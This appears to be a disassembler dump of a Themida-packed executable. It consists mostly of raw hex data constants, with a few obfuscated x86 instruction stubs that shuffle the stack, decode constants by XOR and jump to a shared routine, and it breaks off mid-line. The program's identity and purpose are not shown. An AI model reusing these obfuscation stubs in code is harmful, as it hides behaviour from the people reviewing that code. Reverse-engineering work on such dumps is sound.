dd 0A717C62Ah, 3DB140E6h, 1056F1E4h, 0F49CA1B3h, 1B8F5559h dd 66BB9559h, 6392C873h, 38C336EFh, 8BDCCAA4h, 7587DEC0h dd 35000001h, 9BD3625Bh, 0F0B4D525h, 5812630Fh, 3B6F2291h dd 8FD37062h, 356DE16Eh, 4EDE695Ch, 195908FBh, 7F47DF1Dh dd 43EEA02Dh, 5C7883A6h, 48F7E882h, 4166E312h, 4DECB24Fh dd 0C53891C9h, 7587643Ah, 8742B570h, 9E5B4B25h, 0F408DEC0h dd 0FB7B0DD2h, 0AA20B517h, 77EAh, 1155D800h, 0B591B0BFh dd 4FC31011h, 7D3D840Dh, 0B591E45Bh, 47175C11h, 91C2AD03h dd 0F57E11B5h, 0B8A72961h, 3811B591h, 0FED7CB66h, 76F6DB9h dd 4A0C11B3h, 8CB3E27Fh, 69F187A9h, 78443B4h, 0D9FF3377h dd 11B62816h, 6C7359AAh, 0AA11B628h, 0DB288B38h, 0FAB56B57h dd 0AD11B628h, 28A8B769h, 931811B6h, 3B3A6025h, 0D77A69BEh dd 4BEC6293h, 0A5A8A23Ah, 0EA000000h, 9BD3625Bh, 99229647h dd 9A93CB15h, 0D82D0FF0h, 17EBB96h, 5ACDC230h, 0E9B0FCD4h dd 0E11056FBh, 0DE41B46Dh, 716774EBh, 0FF64F5A9h, 3777F572h dd 6512DDF3h, 25AE17FBh, 0FA8578D1h, 662A3AA4h, 0DC6C17FBh dd 0B89B0EC9h, 723CB946h, 0D5893CABh, 7230AE24h, 843FB25Bh dd 53D06D5Fh, 9E57A51Bh, 0C8E5163Fh, 0F8AE2BD4h, 5B13AE21h dd 0CB392292h, 0CE5B906h, 0B8B9ED9Ah, 55F6E63Bh, 86DE89C1h dd 3B9DD17Fh, 1E47C034h, 2145FEF2h, 0AA20B510h, 0D29C2DE8h dd 0B4EA9B0Bh, 6B4D3185h, 1C8BF821h, 0ECD24A9Bh, 33F7625Bh dd 48F4ED4Ch, 0E53971FEh, 0B5D01CC3h, 86694F11h, 3A11B5D0h dd 75F90AA9h, 8659709h, 8ED70FFAh, 0F38E01D8h, 1F183569h dd 511D113h, 43B66FE3h, 0C3FCE2B8h, 72EACAE0h, 0C97C6B32h dd 7CEE6495h, 803BAE69h, 2FDACD1Ch, 5D33A27Bh, 35691E8Ch dd 0FA472804h, 6AFB44CCh, 680EB9EDh, 717679D4h, 0A32BD1BCh dd 0CD2EE689h, 41095A44h, 0CD2E806Fh, 3FB3C044h, 6A5D98ADh dd 346A1387h, 0D524B805h, 550327E2h, 3, 0C0716FBFh, 8F663CD3h dd 643D611Ch, 378ED473h, 8B6238C5h, 5B32681Dh, 2B82D86Dh dd 0FC5509BCh, 4E277B0Ch, 76FDA15Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 280Dh mov [esp], esi push 8B7h mov [esp], ebx push ebp mov ebp, 64C59B0h push ecx mov ecx, ebp mov esi, ecx pop ecx pop ebp push esp mov ebx, [esp] add esp, 4 push edx mov edx, 8 add edx, 48430CD6h add edx, ebx sub edx, 48430CD6h mov [edx], esi pop edx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_545D4D ; --------------------------------------------------------------------------- dd 7C53B266h, 0F2F978DFh, 0CBEB3224h, 0B8D47B91h, 64C5EC1h dd 0E0FFC503h, 733F0451h, 2C558905h, 73B1B39Bh, 2753DFF5h dd 302A7189h, 27F7D6E2h, 0D1D25BAh, 5BA07354h, 592861D4h dd 46649DA8h, 78E25869h, 40AE5E8Ah, 4CF8CB5Ch, 3754DC11h dd 470478B4h, 62B9B560h, 6B5494CDh, 6A9A31B1h, 14AB55F9h dd 6A0A4DC9h, 58258276h, 6185974Ch, 3B8ADA47h, 2F1E3B95h dd 5916A078h, 6D74CE6Fh, 43EBD7F1h, 5566204Ch, 6B1DD548h dd 41359B8Ah, 63DB62F5h, 606A8D8Dh, 0D380064Ch, 18D8984h dd 6A06452Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0BDDCC352h, 0C7BFB08Fh, 4503D585h dd 727C06h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 47D1648Fh, 5F4A2B40h, 0BD89F828h dd 6451D55h, 0D7816060h, 64CDC118h, 1E198D2Bh, 66610645h dd 6472E381h, 5D85C761h, 64509h, 0F000000h, 0B5FFFABFh dd 64522EDh, 0BA18D31h, 95FF0645h, 6452A11h, 2B1958Bh dd 6A0645h, 312195FFh db 45h byte_5B3FDD db 6, 8Bh, 0C0h ; DATA XREF: Themida_:0053EB14o dd 2EA94AEBh, 0B6035D37h, 4179F87Dh, 0AA622E9Ah, 8CC636CBh dd 18EAC0DEh, 0C76BE4B7h, 34C53638h, 3E4396E5h, 0A8573F33h dd 90164E72h, 0C7E8AA01h, 9A57912Fh, 1C2B3264h, 71D24058h dd 8CBFC48Fh, 0EAE540C1h, 4711A14Bh, 19C04300h, 91B504EBh dd 0A1E97342h, 4000005h, 9D6CF097h, 3D0C9029h, 59A03CCDh dd 0F445A76Ah, 79DB4106h, 8045B361h, 2EDBCD1Ch, 0CB7A6BBEh dd 6A158851h, 0B11797F2h, 1801F1AEh, 55C3C512h, 2F731484h dd 5E51880Eh, 0B826FFA3h, 4D408913h, 9E10FBEAh, 57E764E1h dd 0E0761586h, 23DED1A8h, 8932A67Fh, 0FE897CD5h, 24DDD1A8h dd 9538A77Eh, 35A8BD23h, 8D485D83h, 7E2F6F1Ah, 97A6FC8Fh dd 95298D03h, 0B5912C33h, 0CB4F9411h, 0A8E2A112h, 91ADB214h dd 0C01511B5h, 9405D44Ah, 0E6D8B1F5h, 2420559h, 0FDCFC0FBh dd 0B59114DBh, 0DA27AC11h, 3482B590h, 2C064838h, 0EEE128A6h dd 16C71B53h, 2C3319A2h, 9411B609h, 0CD93CB4Fh, 11B60B15h dd 0B8E2FB75h, 0D87B202Eh, 0B969h, 81742500h, 1D91A0C6h dd 32CDC02Fh, 0DD822478h, 6511B591h, 0FEC29A10h, 0B2DCBC53h dd 0A72BFB59h, 0B5E0C899h, 0A970BA11h, 87058938h, 9407D67Eh dd 5749B5E9h, 11B5DE88h, 0A82EAB38h, 7AF5F8EEh, 0C582AFD8h dd 0ED1D1BB7h, 13363F7h, 81000000h, 6F33CCC0h, 0C5992296h dd 80CA7D6Ch, 0FF58E9D9h, 0C76C0B8h, 366EE4C0h, 8CD26B5Fh dd 6105C435h, 1CD7EE66h, 0B5441AADh, 0DD8C8028h, 0F5045AEFh dd 8ADAE361h, 0C78F5076h, 0A23311B5h, 7801F52Ch, 0C8756736h dd 0BD364792h, 0FEB0F6E8h, 9663FD71h, 4CF85523h, 0A3158457h dd 65F2FDDFh, 54E11B6h, 994024B8h, 34C59928h, 0D2C08CBEh dd 49D67365h, 0BF48BC15h, 0E2A112EBh, 55F4E5BCh, 71E5611h dd 0B2CB4594h, 58C48977h, 3F631E91h, 91D57666h, 6238C738h dd 32681D8Bh, 0A3364FD9h, 2F6B72EEh, 0D87AA2A7h, 8AF0h dd 0D2C0C200h, 0C105693Dh, 0B59200EFh, 0BF334011h, 91D57666h dd 4010154Bh, 179B2699h, 0A13BD03Eh, 95A56A58h, 0CA16D5C4h dd 5FD806EBh, 2ECF9310h, 0DD8CF0A8h, 0F59405ECh, 5F0380B1h dd 128158DEh, 8916B727h, 697CECD5h, 7AB7A531h, 6CFED8h dd 0C0CC0000h, 90693DD2h, 633A601Fh, 6B168974h, 0EEE1B8EEh dd 8D230F53h, 11B591E2h, 3DA3155Eh, 8CF2B528h, 91895648h dd 603B11B5h, 92311600h, 57DB288Bh, 8775B0B5h, 55645AC2h dd 410A8FF8h, 7EF4EFFAh, 0D48A33A7h, 0B5F8D88Ah, 0A5B88811h dd 0CBF2EFFh, 0DD6D086h, 0F81D87Bh, 4D000000h, 0B3BD2E9Ch dd 27E579DAh, 5DDC820Fh, 0D0C0EBD9h, 1F926B3Fh, 4F893E64h dd 7A0BFB36h, 0D67B6930h, 0BF794590h, 13653957h, 208E0096h dd 0A41A54E5h, 0FF13576h, 11FCEBC0h, 0E764E1A0h, 0B2BD1357h dd 0C17FB55h, 0FBBAE546h, 0A52E95A6h, 2DA07951h, 2B76795Fh dd 0BEC817FBh, 0EEBE92EAh, 0D926AF16h, 0AE81B491h, 4446E37h dd 4B8B544Ah, 0AE3717FBh, 7063B628h, 12CF91D5h, 5E17FB4Dh dd 897CB7CEh, 289B6EFEh, 7D70C99Dh, 3DCF9CC2h, 4FFAED28h dd 621393DDh, 484CDEC0h, 7E000001h, 0FBDD1155h, 11B591F4h dd 4A15074Ch, 0F611B591h, 12ABE96Dh, 0F17E07FBh, 0B4F307B9h dd 30450FF0h, 6520936Ah, 4BF3207h, 6914875Eh, 0BFC65635h dd 0A7195D91h, 17FAAEB8h, 0ED1FB08h, 0B217FAAEh, 8174AD21h dd 0C20666C6h, 3418AD1Bh, 17FAAE2Bh, 2A994E97h, 0BC32C367h dd 0BFC5ECFAh, 48B7DEh, 0B27B0000h, 3D0F8340h, 72158455h dd 0CB890D2Ch, 663747FEh, 6190D675h, 0B00FA1EDh, 1011B591h dd 0D1E6FFE7h, 0C8554A7Bh, 0DFFAE92h, 870B2A70h, 0B5CFB6B9h dd 0A3BA3A11h, 2F6FD6F3h, 0B5D03689h, 0E3798A11h, 9EE9h dd 625B2B00h, 0A9259BD3h, 170FF09Ah, 56488CCEh, 17FA9889h dd 0F0B65747h, 1D91E241h, 4EF9EC45h, 0ED980BDEh, 4D4069ADh dd 6F4DECB2h, 17FA9880h, 673FB3C0h, 0FA996B79h, 0A132D17h dd 0BB21DCCFh, 5BE32FBh, 0DA50EFE0h, 0C28C3D98h, 3EFABCECh dd 0A9FD0616h, 6506DDD0h, 0C966BB6Bh, 8BCF8F0Ch, 46D04A15h dd 0E96DF61Eh, 5AE5D8B1h, 8D3CAD04h, 0AFB64ED9h, 5801192Ch dd 7577816Ah, 0A1C747ADh, 293CAE24h, 0A9E15075h, 8B2E2177h dd 2FA1481Ch, 842DCC92h, 3363C1ADh, 2A8D0198h, 551D43D9h dd 33771084h, 0CFCE8C02h, 31F83C7Eh, 0DA5B0FC2h, 91313E90h dd 449111B5h, 0F2B8E0CEh, 0F90A0FF9h, 2ED9CCA5h, 0CD786BBEh dd 0CB393799h, 6F5A306h, 52461F43h, 0D252F5A9h, 72E048CBh dd 823DB06Bh, 21DCCF1Ah, 5F35A47Dh, 10E97679h, 64B9CA8Dh dd 6190D671h, 0CF09BEE4h, 0CE3FEEB6h, 44CA6B3Fh, 0FD6F1A8Dh dd 580EB92Ch, 247Eh, 39133E00h, 9094AFADh, 6FAA981Eh, 0D2AD220Fh dd 0C26E0C23h, 70C73611h, 0CD8D0A2Ah, 0B62A04EBh, 0A337BC11h dd 3CD3C081h, 611C8F66h, 0D473643Dh, 38C5378Eh, 681D8B62h dd 0D86D5B32h, 9BC2B82h, 7B0CFC55h, 0A15A4E27h, 895076FDh dd 405E0h, 0E8830000h, 24048704h, 5724248Bh, 0C781E789h dd 4, 4EF81h, 3C870000h, 34895C24h, 23046824h, 14890000h dd 11B1BE24h, 0DE875EF3h, 0DE87DBF7h, 8E8BF681h, 8B54A740h dd 0C4832414h, 68575304h, 5CF3441Fh, 0D7F7815Fh, 0F717D02Bh dd 3FF781D7h, 89B4DC90h, 0D3015FFBh, 0FF5B3389h, 835A2434h dd 348B04C4h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h dd 0F91780E9h, 6AEEACFFh, 5E8C46B7h, 447F7BB2h, 4C65D3B8h dd 0FFC50306h, 12E9D7E0h, 0DA207E20h, 0B524D71Dh, 90F1AF20h dd 0AF81E6Ch, 0B479402h, 0A3F68327h, 0D66E8C79h, 0E398C56Bh dd 0EE4A2215h, 937687Ch, 0E24D3C63h, 74563B5Dh, 0E583893Ah dd 8404EB39h, 0E95087A0h, 566h, 5FCD8471h, 0FF6D168Ah dd 9309BA2Ah, 28B45746h, 0CE5EF3E1h, 32A0740Ch, 0C83A0F9Dh dd 6758A13Bh, 2F544D8h, 7AA4E547h, 1F79B44h, 0FEDA2718h dd 2EFFCDC0h, 402F0DBEh, 8011B591h, 26602857h, 77F463FCh dd 0EFDDB4EAh, 5949105Ah, 5DAC22A8h, 328BDF6Ah, 0DF4A04BFh dd 742BA8Ch, 1D75F94Ch, 0F3B75044h, 37F20B69h, 0C3A339C4h dd 4A46298Fh, 138411B6h, 0A40F2E74h, 9102DB5Fh, 2E9F6AF2h dd 8072CB9Fh, 0D6C69FC3h, 28987135h, 0AC24C367h, 0B50F0699h dd 0CB39E0B0h, 87735122h, 7BF86E02h, 1EAD1EF7h, 0BD48BB8Eh dd 66EBE7E9h, 0CD9B11B6h, 7B04E2B8h, 8A5FD87Bh, 6D000000h dd 6C32CDC0h, 5EACC00h, 0BD11B592h, 0C59CA228h, 0F11B594h dd 0E2EECB9Eh, 2110CBA0h, 1CB2FEA4h, 11B60553h, 514166EFh dd 0DB5DEAB0h, 0ADA7BC2h, 0E60D0E1Ch, 495CEC99h, 0B5BD2E1Bh dd 74399E13h, 0D72EB8FEh, 169D87Ah, 5B000000h, 6F33CCC0h dd 0C5992296h, 5C03A5F9h, 0E411B591h, 0D3C21B9Fh, 0ACE06A30h dd 91A9B668h, 0CC1911B5h, 0CF66096Bh, 0D125B34Fh, 0FBEF2A33h dd 6D610842h, 0BA6F8ED4h, 9D33874Ch, 3EAE594Ch, 3DD2C000h dd 631C9069h, 0C9DC6C3Fh, 71EBA00Eh, 0D48A35A8h, 34CDC1E8h dd 0D67767BEh, 0A6BFA990h, 86C653FEh, 104C7CB8h, 0DCBADC9Ah dd 82E5D87Ah, 0A9000000h, 0CF8D19FCh, 78FEA3F4h, 1584554Ah dd 0B725FC72h, 5F54C12h, 57471E44h, 0AA19F0B6h, 5B9943E7h dd 0FB79DF42h, 587EB2E2h, 11B59197h, 0AEB1172Bh, 1211B591h dd 17CE44C1h, 83AAE4A9h, 64FA7015h, 3C622795h dd 8FD37665h, 0F7A3BAA6h, 0D87AA2DFh, 6FB8h, 9E307400h dd 11B587D1h, 5C6EE471h, 71168455h, 4F860C2Dh, 1FF6AC61h dd 704B1FAEh, 0BD4CA0Eh, 0B711B591h, 233AA82Eh, 0D755FAE8h dd 33CCC0E9h, 0DE81277Bh, 6011B591h, 0DA04BF4Ch, 2ABB1AA9h dd 0F0E2ECA4h, 9011B672h, 0FBE4DA1Eh, 4711B670h, 7012DDF3h dd 25AE11B6h, 0ADB052D8h, 7B87F9EDh, 0AA2D8h, 0C36E0000h dd 21D3CFFDh, 4D7FF306h, 7F3FD0C0h, 70E51D2h, 0AF5E7780h dd 0A5F0BD51h, 0C1991D9Ah, 80CA7568h, 0D65CE5D9h, 768FC9FEh dd 22BA4BBBh, 0B6F8494Ch, 648F5E7h, 0B664BFA0h, 7CF20311h dd 6B8FC30h, 11B66459h, 0C8169CE9h, 0FF174E2h, 825B0F54h dd 21E8740Fh, 14F13AEh, 17FB9650h, 3AF50818h, 0D57264C7h dd 79E36091h, 0C4837425h, 9924974Eh, 343B9DD1h, 0F217FB94h dd 95DE45FEh, 21654901h, 0FB94E08Fh, 9F136017h, 0E6A85346h dd 9449C24Bh, 2EA40950h, 912C9F76h, 9A8574CDh, 35C49A29h dd 711F2A8h, 0BC4C9BFEh, 0C07B6EA9h, 0A894125Ch, 42CFDEC0h dd 83000001h, 75BE8DAh, 5B4260F6h, 259BD362h, 0FF0B4D5h dd 0F54C1263h, 14E54702h, 0E940E6A1h, 0B4174BF6h, 7366A1A4h dd 8C1A54C8h, 0D7DEBFC5h, 61h, 0D76E5BE5h, 918E2187h, 0A13211B5h dd 910CD3FDh, 0D6CA11B5h, 2EA0792Dh, 5A9ACD91h, 1D45D043h dd 91F8E7D9h, 1F4811B5h, 0B8B95737h, 59DD5A9Fh, 3BE2B2CBh dd 0C7B539CCh, 853B73CAh, 11B6172Ah, 0BBA61596h, 55E4BA4Bh dd 0BE6392C8h, 49E8BE4Dh, 1A782CCh, 3E77DF28h, 0D47D95Dh dd 0B1h, 0D3625B77h, 2596479Bh, 0B23FCC3Eh, 412E80ECh dd 8111B591h, 5D63F774h, 0FF09B01h, 0B56436BFh, 53E2B841h dd 0BB2E87DFh, 0B56B6958h, 17FA99AAh, 0C340CD16h, 62540559h dd 247A0FFDh, 0CB028815h, 0BC6D2DD8h, 55E4BA4Dh, 386E2190h dd 0F3DDB539h, 17FA9AE1h, 0D08085A7h, 2CDDCD9Ch, 0FA9A5F00h dd 1C92E317h, 0B537D2C5h, 2F6FDEFFh, 3FD4C2EBh, 56695BBh dd 81D2163Fh, 0F69104DDh, 0A8BD37B0h, 3C724DF8h, 10F93C58h dd 7228DDCBh, 880D4FC3h, 0A00DD2F4h, 4B51E46h, 334FAB89h dd 3FBC39C8h, 7E723B7Fh, 1A90A1C5h, 8B37C734h, 7AE2731Ch dd 0D3625B44h, 22E1D29Bh, 3579FD7Ch, 0F9FC6893h, 0DF83D00Fh dd 0A6E89306h, 0F8A34C62h, 0D61F1801h, 6DE1A011h, 0FBEAB3F3h dd 7BC71248h, 3F89557Ah, 0B990E663h, 8F507646h, 331801BAh dd 0CE9D1286h, 6CE9E0FFh, 3615BBEFh, 8FC4C59Dh, 26995469h dd 0C538019Bh, 0C4D5703Ah, 0C893BAD9h, 0C8A1F97Dh, 0B56436D9h dd 53E2B841h, 0BF2E87DFh, 10FF560Ch, 0E42C297Dh, 0F5B9945Ch dd 1E27B51Bh, 70E97E9Fh, 54D1A83Bh, 0B6DEE761h, 71935C72h dd 6B2F6ECEh, 0CE71AAB5h, 40CD166Eh, 28A013CAh, 0CE71E9F6h dd 8F0C596Eh, 2ED9CC1Dh, 0A5E78h, 6FA00000h, 0DD6E5E0Fh dd 0C0E26889h, 663CD3C0h, 3D611C8Fh, 8ED47364h, 6238C537h dd 32681D8Bh, 82D86D5Bh, 5509BC2Bh, 277B0CFCh, 0FDA15A4Eh db 76h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 2E05h mov [esp], ebp push 775Dh mov [esp], ecx push ecx push 6BD85E15h mov ecx, [esp] add esp, 4 xor ecx, 6D9438A4h mov ebp, ecx pop ecx push esp mov ecx, [esp] add esp, 4 push ebp pop dword ptr [ecx+8] push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_545D4D ; --------------------------------------------------------------------------- db 0C4h, 0E6h, 4Dh dd 0BAB88036h, 3064C6Bh, 1CE0FFC5h, 7D3F28AFh, 565DBE70h dd 6C0499C6h, 0DB5E6A17h, 1A5FB226h, 0B1721DF0h, 280ED7F6h dd 0CA489484h, 0CC30A37Bh, 85272C9Bh, 19098098h, 0AE1711B1h dd 9622234Ah, 664FB15h, 1655B13Dh, 185CC69Dh, 1379AFA3h dd 0E54F2D92h, 9B4ED377h, 954A6D53h, 741CA2BFh, 2C2B8DACh dd 0EB580D39h, 0DCC6CF04h, 55AE97Eh, 5A470000h, 0ECE029B3h dd 9000C953h, 2D9C6DFFh, 0C937029Ah, 9E269804h, 0D94308F6h dd 7BE19E10h, 1E8E3DAEh, 0BF2DD8CBh, 717E50DAh, 0D11801FDh dd 0CDC08080h, 27956C32h, 0BC2FFA62h, 9205EACCh, 0CBD11B5h dd 0B2C89818h, 0B03DBA4Bh, 0E5A013EAh, 4BF4E841h, 0B14ABE17h dd 0E3A414EDh, 1528A8BFh, 0B5C82E82h, 60FC877Ah, 3992899h dd 7406C536h, 4BD19E30h, 0E47111B6h, 6D5F366Eh, 9BDD8AD0h dd 0B7564782h, 0EF1E435h, 0C536EBA0h, 0BDF1B906h, 0B64B541Bh dd 8B7CEE11h, 6EAE9650h, 55F6E6C7h, 0EF63E011h, 6D3929B7h dd 1F2911B6h, 82525406h, 4A0DD87Bh, 0BF000000h, 7832CDC0h dd 0DE843DB1h, 82244C7Bh, 2DAAE35Ah, 0F2EFF1A9h, 9411B5B7h dd 0D99C1C4h, 56D87ACCh, 1, 33CCC064h, 9922966Fh, 0EB9408D1h dd 583086B7h, 3F7F1281h, 4BCF7C6Eh, 92ABC913h, 42DA6357h dd 0E37904F7h, 0B2F855FDh, 9CD87E75h, 48D57A68h, 0E89D0BC2h dd 5EE7DBB2h, 843DB108h, 0E89507DEh, 6F5E83B2h, 0F4711684h dd 61F99AEh, 0B1B44493h, 59C38876h, 0E0492805h, 6F2E9587h dd 4BF32EBh, 0CD30A34Ah, 0C7762CDDh, 0D015247Ah, 0FE7F23DCh dd 59492078h, 0A99C4365h, 0DF2411B5h, 43B50C52h, 9609E086h dd 0ECDEB7EBh, 7BEA0B5Fh, 3C71E4F9h, 0FDEFBEF2h, 0A9836C40h dd 0B63F11B5h, 98CE8371h, 6E771599h, 7ABAAA2Ch, 5E4CF9D8h dd 2EA91223h, 9887F77Bh, 4B000000h, 0CB9F34A2h, 5586A42Ah dd 7CC7B4F8h, 3DB0241Ch, 58B10582h, 2881A56Ah, 964717B8h dd 3F3E6427h, 2579E3BBh, 0F120CFE1h, 53A011B5h, 68384DDFh dd 2EA2603Dh, 9D110497h, 0F9B15644h, 0E0D9F04Ch, 9C12981Ah dd 4C93702h, 7518875Eh, 4558C831h, 7B928115h, 5BDAD8h dd 0C0E80000h, 220419D2h, 419AAFCAh, 8B529EC4h, 5346A1Bh dd 156758B1h, 0B671ACB3h, 1ACF1411h, 0CA901DA6h, 934E57F1h dd 32E6025h, 213086DEh, 0FCA9DF3Eh, 0A5624FA7h, 70158358h dd 0C07E64FAh, 95FA17CCh, 0E8E50CF4h, 0B9A9376Bh, 0A911B5D5h dd 0D2D4869Fh, 8DD87AEAh, 1, 67D0C03Fh, 4AD776h, 452D8725h dd 1599D1DFh, 37A871BDh, 0AF23D288h, 76DC8376h, 0A1B46A34h dd 926B3FBCh, 653C6221h, 0D88FD376h, 23128598h, 71619CA1h dd 0A7664CD0h, 0CC004416h, 3E1EAB1Dh, 11B66831h, 0E0CE4491h dd 0FF179BAh, 1ECDBA97h, 6CDA9683h, 5E0451E6h, 694D1487h dd 746527F7h, 0FF4AD25Fh, 0C12D710Ch, 0A1442B8Dh, 148217FBh dd 0B8FD47Fh, 0FBA32C25h, 0D1D47417h, 8418A316h, 0ECDF42B5h dd 0A1353A9Ch, 788D17FBh, 51287EFBh, 2CFFA35Eh, 1BAA1BC2h dd 35F0F597h, 0DE6F5FC2h, 70EC6988h, 0C0B8B036h, 0C436E7DEh dd 40C3B307h, 0F1000001h, 0AF4BF855h, 97895D85h, 0C5745103h dd 0B2E713B5h, 8FBA0FF1h, 0BD3439DAh, 74C35701h, 0EFE2BBEFh dd 62531A54h, 68B12FA3h, 0A894CA75h, 0D54963FDh, 0BCFD26E3h dd 0EC9F0E84h, 0B43A87B6h, 8BDF6A5Dh, 0DA152838h, 37125CE7h dd 0C900B44Eh, 0F98C7B4Ah, 831794A5h, 0E443A30Dh, 7A1CDEC0h dd 0AE000000h, 0B0BF1155h, 6E11B591h, 9C9DC17Ah, 7426AC39h dd 74AAE45Dh, 11B591BBh, 26A8FE07h, 11B59139h, 0AB1D08F7h dd 2CA9481Eh, 9D309F76h, 4B52F2C9h, 0C2DB5DC8h, 0C28C359Ch dd 8B544A8Eh, 3711B591h, 0F88979AEh, 311F93A2h, 11B5917Eh dd 0FE910029h, 0B20589A8h, 9125CAECh, 489D11B5h, 4C1D51CBh dd 47F6AC5Bh, 75E5F3h, 0F4510000h, 9397C961h, 42B4698Dh dd 0DA50E185h, 0D3625BE8h, 21E2D29Bh, 0A76FC7Dh, 0F09B3A94h dd 0F52B6F0Fh, 17FA99EAh, 2E890D56h, 2A7009FDh, 1D88E0Bh dd 8EBBF38Eh, 7DF29C1Eh, 0B7A4B318h, 4F91D57Eh, 0A069E76Bh dd 82CC922Dh, 17FB47D2h, 0B6717494h, 4E24B843h, 1ABCFE4Fh dd 163F9BCBh, 0E5BCE273h, 541357F2h, 7055091Ch, 0BE1789C1h dd 7E1C8C07h, 554977F5h, 33771084h, 5AA76C5Ah, 0E3771285h dd 95A514B1h, 0F9E5A233h, 95C91A0Fh, 0AE3EC93Ch, 4B148ACEh dd 0F71801FDh, 0BE31E86Eh, 4A135F03h, 4304F457h, 1D91A0C6h dd 7099A733h, 0C7DE1C9Eh, 7EEE990Ch, 0D98D38ABh, 707F5195h dd 0D09092B1h, 0E7D60F83h, 0B12837E9h, 4B989092h, 4B2F98CEh dd 0CC9231A2h, 223BA92Dh, 0D349F4E7h, 8259306h, 0DA1493BCh dd 4D123A6Eh, 0F5909363h, 19BFE360h, 3, 0C0716F7Bh, 8F663CD3h dd 643D611Ch, 378ED473h, 8B6238C5h, 5B32681Dh, 2B82D86Dh dd 0FC5509BCh, 4E277B0Ch, 76FDA15Ah, 556E68h, 243C8900h dd 0E0268h, 240C8900h, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 895C2434h, 51552414h, 4C6C87B9h, 59CD8906h, 685DE989h dd 10A0h, 83242489h, 5A042404h, 8904EC83h, 428F240Ch, 2434FF08h dd 4C4835Ah, 50240C8Bh, 405E089h, 5000000h, 4, 5C240487h dd 0F90C08E9h, 638E50FFh, 39DC68C2h, 6A52B1C4h, 0DA506123h dd 4C7169B8h, 0FFC50306h, 0BC864BE0h, 0D4F9C312h, 48309218h dd 0A374DB2Eh, 331AF007h, 98BBB23Eh, 0ED020D65h, 55F1B130h dd 0C6953905h, 5943071Fh, 5B3DD32Eh, 5162B03Dh, 0AAFAB36Bh dd 0F3ADDF50h, 0B05F2923h, 0E97B6F3Fh, 0C0BE9860h, 2C353444h dd 869BCE52h, 0DB34D719h, 29217F31h, 56D68007h, 0F0239A74h dd 13E859h, 25840000h, 0F23F282Ch, 0D8E4163Ah, 0F897D0ABh dd 0DF7D07B3h, 0D5CF8173h, 5B4F2C29h, 88BB6660h, 61DA8ABAh dd 6143C381h, 8E90000h, 0AB000000h, 54C3B56Dh, 68DF9CBFh dd 1819h, 5E9h, 84ACC000h, 0F5EE6E3h, 38BD7BFh, 0FE8h dd 21CB5B00h, 62E9DEC7h, 7E49300Bh, 88FB2F51h, 5FD38B66h dd 7AD7C081h, 8E0F584Ch, 3, 81CB8B66h, 4B336DE8h, 0EE90Ch dd 0AC1D0000h, 6FB4F653h, 7BE89E3Dh, 255FFDFDh, 4929E881h dd 66601E0Eh, 2552F681h, 11E9h, 53A24900h, 0B00790ECh dd 0F1A7E527h, 0CB597134h, 506125FFh, 14DA8166h, 52038F2Ah dd 66BD181h, 815A5EA3h, 42A4BBEBh, 72C9800Eh, 0A4B7C381h dd 0E2810E42h, 0BA6D00Ah, 1EE81h, 850F0000h, 0FFFFFF6Ah dd 0F7D78166h, 0F88D8D54h, 6A064C73h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6008C352h dd 26F7CBD1h, 0D79DBB71h, 2A018D89h, 66560645h, 976FEE81h dd 0D585C75Eh, 18064503h, 6000006Ch, 2860Fh, 58520000h dd 0DE8h, 0BEBB3C00h, 0CF2282CAh, 0E70E2A04h, 32BBDEB9h dd 5912A560h, 0C19D8B61h, 0C7064525h, 45095D85h, 6, 5840F00h dd 66000000h, 0FD07EB81h, 2C31B509h, 0B5FF0645h, 6452C85h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 7BC35141h dd 95FFF84Eh, 6452A11h, 0FE9h, 519E4400h, 3A850F4Fh, 21718CCFh dd 0E24CC36Dh, 95FF006Ah, 6453121h, 3DEBC08Bh, 21C61574h dd 25DA2134h, 0C943D7A2h, 0C12B2D68h, 3A67E065h, 3FE0CDA9h dd 0DF3467FAh, 390CE9A0h, 938B8494h, 56B77ADCh, 1756D606h dd 72A28EE1h, 85B2F8B0h, 31E475EFh, 5DE8B81h, 304EB12h dd 0E9328B5Bh, 56Fh, 0EB711885h, 8B11AA1Eh, 2FBD4EBEh dd 0C458EBDAh, 5AC28775h, 0C634E0F8h, 5C4E9B01h, 0FBEC3DAFh dd 9609D04Ch, 961871EBh, 2052F30h, 42469318h, 6C32CDC0h dd 28622795h, 912D3294h, 409511B5h, 128554CAh, 675A3377h dd 69C6A7F8h, 31BEB7B4h, 6720946Dh, 5D5F7AD7h, 69D68F95h dd 31A7ADE5h, 1BFEF12Ch, 0B911EA7h, 0AE3ECD3Eh, 93DB6A5Bh dd 792DD6CAh, 431A72F8h, 0F9EEB451h, 3AAB667Fh, 0D5C8118Bh dd 0F408742Ah, 0B5DB0DD2h, 8720B511h, 9BDDCA03h, 0DFE17597h dd 11B68403h, 8AD0D563h, 0D87B991Ch, 9047h, 0D1F70B00h dd 11B6760Eh, 9FAD21B2h, 796ACDC0h, 186594CAh, 93451C42h dd 218F11B5h, 6C5F366Ch, 0FA7A8DD1h, 15BA28E3h, 0EAB3FB88h dd 3C194DF6h, 10157A43h, 0E96DEA50h, 0AE38627Bh, 0E9D87ACEh dd 1, 33CCC0DBh, 6C5A036Fh, 0F17E0FFFh, 0B330A47Dh, 86E04F2Eh dd 0ADF17EF3h, 7C22E5D4h, 0CC9237A5h, 0A0C68375h, 31A4B94Bh dd 8944599Fh, 7226C15h, 86B1E45Fh, 0ECF3D5E8h, 5411B5EFh dd 0D6C8820Fh, 11B5EF09h, 28A62CB9h, 0C953EEE1h, 3DD2C0EBh dd 4071D07Dh, 0CE60006Fh, 53372F59h, 26AC29B0h, 9A23976Eh dd 0E99809D0h, 64542D65h, 